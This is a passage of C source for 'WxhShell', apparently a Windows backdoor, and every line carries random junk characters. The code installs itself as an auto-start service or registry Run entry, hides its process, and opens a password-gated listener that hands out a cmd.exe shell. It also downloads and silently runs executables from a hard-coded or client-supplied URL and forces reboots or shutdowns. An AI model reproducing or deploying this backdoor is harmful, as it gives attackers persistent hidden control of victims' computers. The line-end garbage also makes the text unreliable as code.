    if(Boot(SHUTDOWN)) F6dP,(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l >hMxij  
    else { Rx}Gz$   
    closesocket(wsh); fikkY=  
    ExitThread(0); Y nZiT e@  
    } `P ,d$H "  
    break; t |oR7qa{w  
    } g=o4Q< #^y  
  // 获取shell GuL<Z1<c  
  case 's': { F4{IEZ  
    CmdShell(wsh); " 2Dngw  
    closesocket(wsh); -Y;3I00(  
    ExitThread(0); ~e.L.,4QZ8  
    break; 0qT%!ku&  
  } &jr3B;g!C  
  // 退出 { [>Kob1  
  case 'x': { dC4'{ n|7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mb7I[5v  
    CloseIt(wsh); b<u3 hln%,  
    break; /H+a0`/  
    } SK.: Q5:  
  // 离开 GvlS%  
  case 'q': { ;6hOx(>`=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dAe')N:KPI  
    closesocket(wsh); n?K  
    WSACleanup(); da~],MN  
    exit(1); 9]@!S|1  
    break; &]-DqK7  
        } & "B=/-(  
  } t);/'3|  
  } O<W_fx8_'  
vSLtFMq^(  
  // 提示信息 e<q?e}>?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HLHz2-lI  
} F1Bq$*'N$w  
  } _n\GNUA  
,wdD8ZT'Ip  
  return; fLAw12;^  
} !FFU=f  
-RK- Fu<e  
// shell模块句柄 |IUWF%~^$+  
int CmdShell(SOCKET sock) !_Z&a  
{ W'u>#  
STARTUPINFO si; G;XxBA  
ZeroMemory(&si,sizeof(si)); R,=fv   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yJe>JK~)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `n?DU;,  
PROCESS_INFORMATION ProcessInfo; c-FcEW  
char cmdline[]="cmd"; t.\dpBq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8|58 H  
  return 0; YkQd  
} 1]/.` ]1  
}f7j 8py  
// 自身启动模式 |)/aGZ+  
int StartFromService(void) z,%$+)K  
{ 2SR:FUV/  
typedef struct t#eTV@-  
{ !m?-!:  
  DWORD ExitStatus; d9|<@A  
  DWORD PebBaseAddress; 3|Xyl`i4o  
  DWORD AffinityMask; tcog'nAz  
  DWORD BasePriority; 'a.qu9PJ  
  ULONG UniqueProcessId; 2Q:+_v  
  ULONG InheritedFromUniqueProcessId; k~FRD?[u  
}   PROCESS_BASIC_INFORMATION; _``=cc  
^@NU}S):yN  
PROCNTQSIP NtQueryInformationProcess; k2UVm$}u  
4x[S\,20  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !brf(-sr)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZO$%[ftb  
jdJ>9O0A,  
  HANDLE             hProcess; R]*K:~DM  
  PROCESS_BASIC_INFORMATION pbi; Q>1[JW{$}  
KL Xq\{X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [0D .K}7|  
  if(NULL == hInst ) return 0; ijx0gh`~  
0>Z_*U~6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Aj]V`B:65  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FH+s s!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ."y1_dDql  
"kgdbAZ  
  if (!NtQueryInformationProcess) return 0; [QT#Yf0  
TBU&6M>{3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y,zxbXZv'5  
  if(!hProcess) return 0; q{;:SgZ  
Nf1-!u7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k7usMVAA  
QGmn#]w\\  
  CloseHandle(hProcess); SS.dY""89  
UFb )AnK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0b(N^$js'  
if(hProcess==NULL) return 0; K:30_l<  
3WIk  
HMODULE hMod; O/(xj2~$ J  
char procName[255]; vTw>JNVI  
unsigned long cbNeeded; GYUn6P  
p,i[W.dy.'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j]/RC(;?  
fMyti$1~  
  CloseHandle(hProcess); -5QZJF2~  
P1' al  
if(strstr(procName,"services")) return 1; // 以服务启动 Otm0(+YB 7  
-Wi` G  
  return 0; // 注册表启动  p|D/;Mk  
} 9|CN8x-  
LOV)3{m  
// 主模块 H\tUpan6fy  
int StartWxhshell(LPSTR lpCmdLine) s( q_ o  
{ ?"g2v-jTK  
  SOCKET wsl; JbQ) sp  
BOOL val=TRUE; 63,H{  
  int port=0; I,@6J(9  
  struct sockaddr_in door; <1\Nb{5  
.gOL1`b*  
  if(wscfg.ws_autoins) Install(); hv_XP,1K  
aM0f/"-_  
port=atoi(lpCmdLine); +@iA;2&  
]^K 4i)\  
if(port<=0) port=wscfg.ws_port; >%8KK|V{  
)+t0:GwP`:  
  WSADATA data; H-fX(9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3]3|  
v9O~@v{=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q%mB |i|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ':m,)G5&  
  door.sin_family = AF_INET; ly3\e_z:G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HcSXsF  
  door.sin_port = htons(port); Y,t={HiclX  
Jidwt$1l(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P:]^rke~&  
closesocket(wsl); _?0}<k Q&  
return 1; Ob&<]  
} uw +M  
Qe0lBR?H  
  if(listen(wsl,2) == INVALID_SOCKET) { d-r@E3  
closesocket(wsl); 1 \6D '/G  
return 1; KE3;V2Ym f  
} G..aiA  
  Wxhshell(wsl); 0o*8#i/)!3  
  WSACleanup(); 6-B|Y3)B  
5 -RsnF  
return 0; j@uOOhy  
xCl1g4N  
} =uYYsC\T  
2/=l|!JKLz  
// 以NT服务方式启动 cI?8RF(;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +jnJ|h({  
{ JKmIvZ)8  
DWORD   status = 0; r{I% \R!@  
  DWORD   specificError = 0xfffffff; {vyv7L  
)6,=f.%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z]`k#O%%)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .I0qGg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jk=I^%~  
  serviceStatus.dwWin32ExitCode     = 0; <oA7'|Bu<  
  serviceStatus.dwServiceSpecificExitCode = 0;  ^J)mH[  
  serviceStatus.dwCheckPoint       = 0; !"/n/jz  
  serviceStatus.dwWaitHint       = 0; @wo(tf=@P  
8jo p_PG'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 90*5 5\>{  
  if (hServiceStatusHandle==0) return; Y U5(g^<  
J!pygn O  
status = GetLastError(); rb+j*5Es  
  if (status!=NO_ERROR) =wOm}V8 N&  
{ OGg>#vj,s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; po Vx8oO8  
    serviceStatus.dwCheckPoint       = 0; bU:EqW\(^  
    serviceStatus.dwWaitHint       = 0; -^h' >.  
    serviceStatus.dwWin32ExitCode     = status; k=JrLfD4  
    serviceStatus.dwServiceSpecificExitCode = specificError; T1Z;r*}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ={d>iB yq  
    return; O5kz5b> Z  
  } v8[I 8{41  
usK*s$ns  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sAS:-wp  
  serviceStatus.dwCheckPoint       = 0; z Q`jP$2  
  serviceStatus.dwWaitHint       = 0; $jI3VB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >$7v ;Q  
} [b>Fn%y  
>A"v ed8  
// 处理NT服务事件,比如:启动、停止 DiwxXqY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T)TfB(  
{ 6BbGA*%{  
switch(fdwControl) |G,tlchprs  
{ "(z5{z?S  
case SERVICE_CONTROL_STOP: vyX\'r.~7  
  serviceStatus.dwWin32ExitCode = 0; r6} |hpJ8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q)" Nu.m &  
  serviceStatus.dwCheckPoint   = 0; 7k9G(i[-+  
  serviceStatus.dwWaitHint     = 0; 3|4|*6  
  { VE {3}S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EGzzHIZ`!  
  } ( b~T]3Es  
  return; 6qoyiT%P&  
case SERVICE_CONTROL_PAUSE: [] `&vWZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _'>oXQJ  
  break; _%!c+f7  
case SERVICE_CONTROL_CONTINUE: p&bROuw<T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S^>,~R.TX  
  break; UT=tT )4b  
case SERVICE_CONTROL_INTERROGATE: F{Jw ^\  
  break; N OiN^::m  
}; ]?+p5;{y4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K}~/9Z=m  
} (ehK?6[  
L> 9V&\  
// 标准应用程序主函数 8WbgSY`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v99B7VH4  
{ m)v"3ib  
`V]5sE]G  
// 获取操作系统版本 bE#,=OI$  
OsIsNt=GetOsVer(); ICs\ z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %g$V\zmU  
!^=*Jq>  
  // 从命令行安装 ,dov<U[ia  
  if(strpbrk(lpCmdLine,"iI")) Install(); (-xS?8x$  
NI#:|}CYS  
  // 下载执行文件 QnXA*6DJ  
if(wscfg.ws_downexe) { G!W[8UG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =K{"{5Wb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5eoska#y   
} / !Wu D\B  
I)cFG{~L  
if(!OsIsNt) { Hh-+/sO~"  
// 如果时win9x,隐藏进程并且设置为注册表启动 wNtx]t_M  
HideProc(); c5l.B#-lY  
StartWxhshell(lpCmdLine); {VvqO7A  
} cU@SIJ)  
else X;B\Kj`n  
  if(StartFromService()) [t7]{d*  
  // 以服务方式启动 28H8l2{[>  
  StartServiceCtrlDispatcher(DispatchTable); (?`kYTw7g'  
else dC $Em@Nb  
  // 普通方式启动 d`nVc50  
  StartWxhshell(lpCmdLine); i;jw\ed  
u7[ykyV  
return 0; 9:,\gw>F  
} %Nhx;{  
Rhz_t@e  
W?aI|U1  
RGg(%.  
=========================================== S\5bmvqP"  
B}?5]N==]  
C>$E%=h+_  
~ ! 3I2  
" '6;/N  
qT"Q1xU[  
" Bck7\  
m~Bl*`~M  
#include <stdio.h> ,:`4%  
#include <string.h> jJY"{foWV  
#include <windows.h> _$f9]bab  
#include <winsock2.h> ]*FVz$>XM  
#include <winsvc.h> vj\dA2!~  
#include <urlmon.h> P h}|dGb  
%D8ZO0J7H  
#pragma comment (lib, "Ws2_32.lib") 7L@K _ZJ  
#pragma comment (lib, "urlmon.lib") !n$tr  
AvSM ^  
#define MAX_USER   100 // 最大客户端连接数 /D^"X 4!"  
#define BUF_SOCK   200 // sock buffer :GW&O /Yo  
#define KEY_BUFF   255 // 输入 buffer 1_ C]*p  
%1O[i4s:-  
#define REBOOT     0   // 重启 9h%?QC  
#define SHUTDOWN   1   // 关机 (+u39NQV  
J-) XQDD  
#define DEF_PORT   5000 // 监听端口 r'uGWW"w  
$dzy%lle  
#define REG_LEN     16   // 注册表键长度 D]W$?( =4  
#define SVC_LEN     80   // NT服务名长度 1~ t{aLPz  
=ng\ 9y[;D  
// 从dll定义API bH2MdU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %]6~Eq%s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @@rEs40  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,0~9dS   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :l&V]}:7*  
<Ib[82PU  
// wxhshell配置信息 vab@-=%k  
struct WSCFG { tBT<EV{ G  
  int ws_port;         // 监听端口 q7Dw _<  
  char ws_passstr[REG_LEN]; // 口令 0i|oYaC  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wg0g/  
  char ws_regname[REG_LEN]; // 注册表键名 Ns0cgCrhX  
  char ws_svcname[REG_LEN]; // 服务名 )+"'oY$]}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |t) }VM%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !x>%+&c>k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T?1Du"d8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \uq/x^?yo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !$Tw^$n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n;p:=\uN  
T<@cd|`  
}; Fxqp-}:  
n?ctLbg  
// default Wxhshell configuration ~$f;U  
struct WSCFG wscfg={DEF_PORT, E55t*^`  
    "xuhuanlingzhe", UH>F|3"d  
    1, a/U2xq{x  
    "Wxhshell", PN<C=gAe  
    "Wxhshell", bb`':3%  
            "WxhShell Service", P<2 +L|X?}  
    "Wrsky Windows CmdShell Service", |vMpXiMxxT  
    "Please Input Your Password: ", |*Yf.-  
  1, LIVU^Os.  
  "http://www.wrsky.com/wxhshell.exe", -0eq_+oQ  
  "Wxhshell.exe" 5"]~oPK  
    }; P"?FnTbv[  
7Wa?$6d  
// 消息定义模块 pge++Di  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?@t  d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pD2<fP_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,7)C"  
char *msg_ws_ext="\n\rExit."; ]I.n\2R]om  
char *msg_ws_end="\n\rQuit."; d90Z,nex  
char *msg_ws_boot="\n\rReboot..."; 7GS V  
char *msg_ws_poff="\n\rShutdown..."; G #T<`>T  
char *msg_ws_down="\n\rSave to "; B_l{<  
m6yIR6H  
char *msg_ws_err="\n\rErr!"; 8W+gl=C~  
char *msg_ws_ok="\n\rOK!"; JwRF(1_sM  
eo!zW  
char ExeFile[MAX_PATH]; F3lw@b3])  
int nUser = 0; GK}'R=   
HANDLE handles[MAX_USER]; !W'Ui 9uX  
int OsIsNt; ~!d/8?!   
y}K\%;`[a  
SERVICE_STATUS       serviceStatus; G"59cv8z4R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N+)?$[  
j9U%7u]-k  
// 函数声明 \[>9UC%  
int Install(void); C*te^3k>B  
int Uninstall(void); XJ+6FT/qss  
int DownloadFile(char *sURL, SOCKET wsh); R%H$%cnj  
int Boot(int flag); xwZ8D<e-,  
void HideProc(void); Ei3zBS?J)  
int GetOsVer(void); n*'<uKpM  
int Wxhshell(SOCKET wsl); GOB(#vu  
void TalkWithClient(void *cs); #W2[  
int CmdShell(SOCKET sock); LsGiu9~S  
int StartFromService(void); LFp]7Dq  
int StartWxhshell(LPSTR lpCmdLine); ~; OYtz  
N_Af3R1_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rf9_eP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q_"\Q/=?Do  
wFIh6[3  
// 数据结构和表定义 5;TuVU.8Q  
SERVICE_TABLE_ENTRY DispatchTable[] = v !Kw< fp|  
{ DrvtH+e  
{wscfg.ws_svcname, NTServiceMain}, "?GebA  
{NULL, NULL}  ql&*6KZ"  
}; &MgeYpd  
|"$uRV=qm  
// 自我安装 QI[}(O7#6  
int Install(void) %im#ww L%  
{ .`Zf}[5[  
  char svExeFile[MAX_PATH]; [$(R#tZ+  
  HKEY key; }98>5%Uv  
  strcpy(svExeFile,ExeFile); 6vf\R*D|A  
z&3]%t `C  
// 如果是win9x系统,修改注册表设为自启动 iY/KSX^~O  
if(!OsIsNt) { :H[\;Z1_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]&i+!$N_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =OV2uq  
  RegCloseKey(key); M_D6i%b^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lZt(&^T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3|@t%K  
  RegCloseKey(key); {-63/z  
  return 0; _2mNTJiw  
    } vV`|!5x  
  } C;\VO)]t  
} Y5!b)vke  
else { cf[vf!vi  
r<L#q)]  
// 如果是NT以上系统,安装为系统服务 {lzG*4?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [~k]{[NJ  
if (schSCManager!=0) (%Oe_*e}Y  
{ ^2M!*p&h  
  SC_HANDLE schService = CreateService vh>{_ #  
  ( DcV<y-`'1  
  schSCManager, azb=(l-  
  wscfg.ws_svcname, oBlzHBn>0  
  wscfg.ws_svcdisp, 8!h'j  
  SERVICE_ALL_ACCESS, ._p""'Sa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \w )?SVp  
  SERVICE_AUTO_START, GG'Sp53GE  
  SERVICE_ERROR_NORMAL, 7-9;PkGG.A  
  svExeFile, N^elVu4 K  
  NULL, ^4`&EF  
  NULL, _& 4its  
  NULL, t&814Uf&\  
  NULL, D)&o8D`  
  NULL f@:CyB GQ  
  ); j [S`^2  
  if (schService!=0) iTNqWU-o  
  { ?:|YGLaB  
  CloseServiceHandle(schService); U?U(;nSR\A  
  CloseServiceHandle(schSCManager); j/<??v4F4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uJ'9R`E ]1  
  strcat(svExeFile,wscfg.ws_svcname); A1,4kqmE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B$`lY DqaG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gf$HuCh|  
  RegCloseKey(key); -%uy63LbHF  
  return 0; 5&4F,v[zp  
    } yCM{M  
  } <~%t$:  
  CloseServiceHandle(schSCManager); zw:/!MS  
} u2`xC4>c  
} 8g5V,3_6  
gB CC  
return 1; {>.>7{7  
} S+*cbA{J|  
;x>;jS.t  
// 自我卸载 ~! Lw1]&  
int Uninstall(void) .{N\<01  
{ )Ul&1UYA  
  HKEY key; ye r> x  
.g-3e"@  
if(!OsIsNt) { {u]CHN`%Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TSyzdnMvz  
  RegDeleteValue(key,wscfg.ws_regname); o#d$[oa  
  RegCloseKey(key); 8)Tj H'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1e$[p[  
  RegDeleteValue(key,wscfg.ws_regname); L+Nsi~YVq  
  RegCloseKey(key); qU6BA \ZL  
  return 0; O~Uw&Bq  
  } 1XnBK$`  
} nJ# XVlHc  
} >7FSH"8[,  
else { -g2{68 1`r  
[n<.fw8$b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )b9I@)C  
if (schSCManager!=0) t61'LCEis  
{ @c"yAy^t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h2}am:%mC  
  if (schService!=0) *Yp qq  
  { ~ iT{8  
  if(DeleteService(schService)!=0) { .xv ^G?GG  
  CloseServiceHandle(schService); z`9l<Q/  
  CloseServiceHandle(schSCManager); 9XN~Ln@}  
  return 0; aT/KT,!  
  }  ,(hY%M&\  
  CloseServiceHandle(schService); KS>Fl->  
  } |7S:l9;  
  CloseServiceHandle(schSCManager); F9D"kG;Dk  
} xhD$e= g  
} qi[(*bFK7  
'Fzuc^G(d  
return 1; 5k`e^ARf  
} LI$L9eNv;Y  
)O-sWh4  
// 从指定url下载文件 F0: &>'}  
int DownloadFile(char *sURL, SOCKET wsh) i0&) N,5_  
{ %~(~W>^A  
  HRESULT hr; n1`T#%e  
char seps[]= "/"; 0XQ-   
char *token; .??rqaZ=  
char *file; 3V!x?H$  
char myURL[MAX_PATH]; >huqt|S*9  
char myFILE[MAX_PATH]; G\IocZ3Gz  
1(F'~i|5  
strcpy(myURL,sURL); NFM-)Z57  
  token=strtok(myURL,seps); Pb=rFas*C  
  while(token!=NULL) [b pwg&Oo  
  { pgfu+K7?w  
    file=token; "] 9_Fv  
  token=strtok(NULL,seps); D99N#36PU  
  } S%P3ek>3  
`w(sXkeaI  
GetCurrentDirectory(MAX_PATH,myFILE); cl#OvQ  
strcat(myFILE, "\\"); `i{4cT8:  
strcat(myFILE, file); <W9) Bq4  
  send(wsh,myFILE,strlen(myFILE),0); 6g5]=Q@U:  
send(wsh,"...",3,0); *kV#)j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v @_?iC"`  
  if(hr==S_OK) "$%{}{#W0  
return 0; 4] M =q{  
else oYGUjI  
return 1; )da:&F -  
t)`+d=P   
} | )S{(#k  
|<7i|J  
// 系统电源模块 >T$7{ ~  
int Boot(int flag) %L.rcbg:<c  
{ o|BFvhg  
  HANDLE hToken; r8H7TJI0   
  TOKEN_PRIVILEGES tkp; I[a%a!QO  
{K6Kx36  
  if(OsIsNt) { jFS 'I*1+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V4qZc0<,H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *%]+sU  
    tkp.PrivilegeCount = 1; E{?L= ^cU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )SC`6(GW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y# .6d  
if(flag==REBOOT) { =54Vs8.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sd]0Hx[  
  return 0; U5 -zB)V  
} c@)pKi#W  
else { fjF!>Dy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1@s^$fvW  
  return 0; K7y!s :rg!  
} FDZeIj9uF  
  } w@4t$bd7  
  else { MJpP!a^Q  
if(flag==REBOOT) { Nt?2USTs-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &3+1D1"y/  
  return 0; -(|7`U  
} Uv#>d}P  
else { 7Q<Kha  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0#2T0zk  
  return 0; cS. 7\0$  
} jcT{ugpq  
} ~Tpe,juG_  
?*(r1grHl  
return 1; MxFt;GgE8  
} Xq} n^W  
$4#=#aKW.  
// win9x进程隐藏模块 <yPq;#z(!  
void HideProc(void) j=!(F`/  
{ Po2_ 0uX  
Ac*B[ywA3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^\Ue7,H-  
  if ( hKernel != NULL ) 3Qm t]q  
  { q!u lE{ ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -k|g04Q?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wC4AVJJ^>  
    FreeLibrary(hKernel); `!5tH?bX  
  } $cp16  
UeutFNp  
return; e3oYy#QNk  
} G!> iqG  
`[g# Mxw  
// 获取操作系统版本 N{0+C?{_  
int GetOsVer(void) )VV4HoH]8  
{ :G6 xJlE|  
  OSVERSIONINFO winfo; QSl:=Q'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vfk7J5y  
  GetVersionEx(&winfo); ?Oe_} jv;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~jgN_jz  
  return 1; UpE1PLZlB  
  else $; KQY7  
  return 0; ;%3thm7+  
} 9!Q $GE?vl  
Q0[CH~  
// 客户端句柄模块 >Rz#g*@E  
int Wxhshell(SOCKET wsl) M+;!]tbc3  
{ Q8M:7#ySji  
  SOCKET wsh; w|K(>5nz  
  struct sockaddr_in client; %nG~u,_2f  
  DWORD myID; S>vVjq?~l(  
`CTkx?e[  
  while(nUser<MAX_USER) ]ouUv7\  
{ )edU <1P  
  int nSize=sizeof(client); xC=3|,U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8as$h*W h  
  if(wsh==INVALID_SOCKET) return 1; JaB tX'  
Rd;~'gbG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Hl:nT2M  
if(handles[nUser]==0) 3=G5(0  
  closesocket(wsh); y~#R:&d"  
else 7#~m:K@  
  nUser++; (<g;-pZH%  
  } Np5/lPb1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \M3NasZ  
b> >=d)R  
  return 0; A{u\8-u  
} ?*MV  ^IY  
C4X{Ps \  
// 关闭 socket }. Na{]<gh  
void CloseIt(SOCKET wsh) C7c|\T  
{ o to wvm  
closesocket(wsh); z wniS6R1  
nUser--; k8t Na@H  
ExitThread(0); 0W<nE[U  
} hD9' `SQ  
X&;]  
// 客户端请求句柄 $ uIwRG <  
void TalkWithClient(void *cs) pyb}ha  
{ I,`D&   
h9)]N&07b  
  SOCKET wsh=(SOCKET)cs; 2Xq!'NrS  
  char pwd[SVC_LEN]; x:&L?eOT  
  char cmd[KEY_BUFF]; tp,mw24  
char chr[1]; "*H'bzK  
int i,j; a_}BTkfHa  
T/spUlWu  
  while (nUser < MAX_USER) { D/%b@Ls2ze  
IZ(CRKCGBl  
if(wscfg.ws_passstr) { 07G*M ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y&cjJ`rw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \qK}(xq[  
  //ZeroMemory(pwd,KEY_BUFF); +%cr?g  
      i=0; 8d*<Aki?;  
  while(i<SVC_LEN) { NXG}0`QVT  
xa%ktn  
  // 设置超时 {bq-: CZe  
  fd_set FdRead; g`f6gxc  
  struct timeval TimeOut; /w0v5X7  
  FD_ZERO(&FdRead); xZ{|D  
  FD_SET(wsh,&FdRead); {0Ol/N;|D  
  TimeOut.tv_sec=8; ~%!U,)-  
  TimeOut.tv_usec=0; GXv o't@N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f'?6D+Yw~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 %.<V_$  
yZPFo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K:mL%o2J  
  pwd=chr[0]; : QhEu%e  
  if(chr[0]==0xd || chr[0]==0xa) { ;?L[]Ezzt  
  pwd=0; .WPR}v,.Z  
  break; ]&tr\-3  
  } odT7Gq  
  i++; />j+7ts  
    } BNKo6:wy  
& b^*N5<Z  
  // 如果是非法用户,关闭 socket B,na  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x2IU PM  
} JI#Enh!Lv  
@W5hrei  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a^)4q\E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :tS>D5dz(  
zZjLt1  
while(1) { d}B_ll#j-  
:$Di.|l@7  
  ZeroMemory(cmd,KEY_BUFF); ,I:m*.q  
i(cb&;Xx:A  
      // 自动支持客户端 telnet标准   V;+$/>J`vB  
  j=0; GyXs{*  
  while(j<KEY_BUFF) { 5]n<%bP\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Pjg&19  
  cmd[j]=chr[0]; -D^y)  
  if(chr[0]==0xa || chr[0]==0xd) { EvardUB)  
  cmd[j]=0; p(&o'{fb  
  break; Y`_X@Q  
  } {*r$m>HpM  
  j++; e.Q K%  
    } ~FrkLP  
a>jI_)L  
  // 下载文件 Ch&]<#E>`  
  if(strstr(cmd,"http://")) { XTXo xZ#w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `h{mj|~  
  if(DownloadFile(cmd,wsh)) )/i|"`)>_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WHj4#v(  
  else WuQ<AS=   
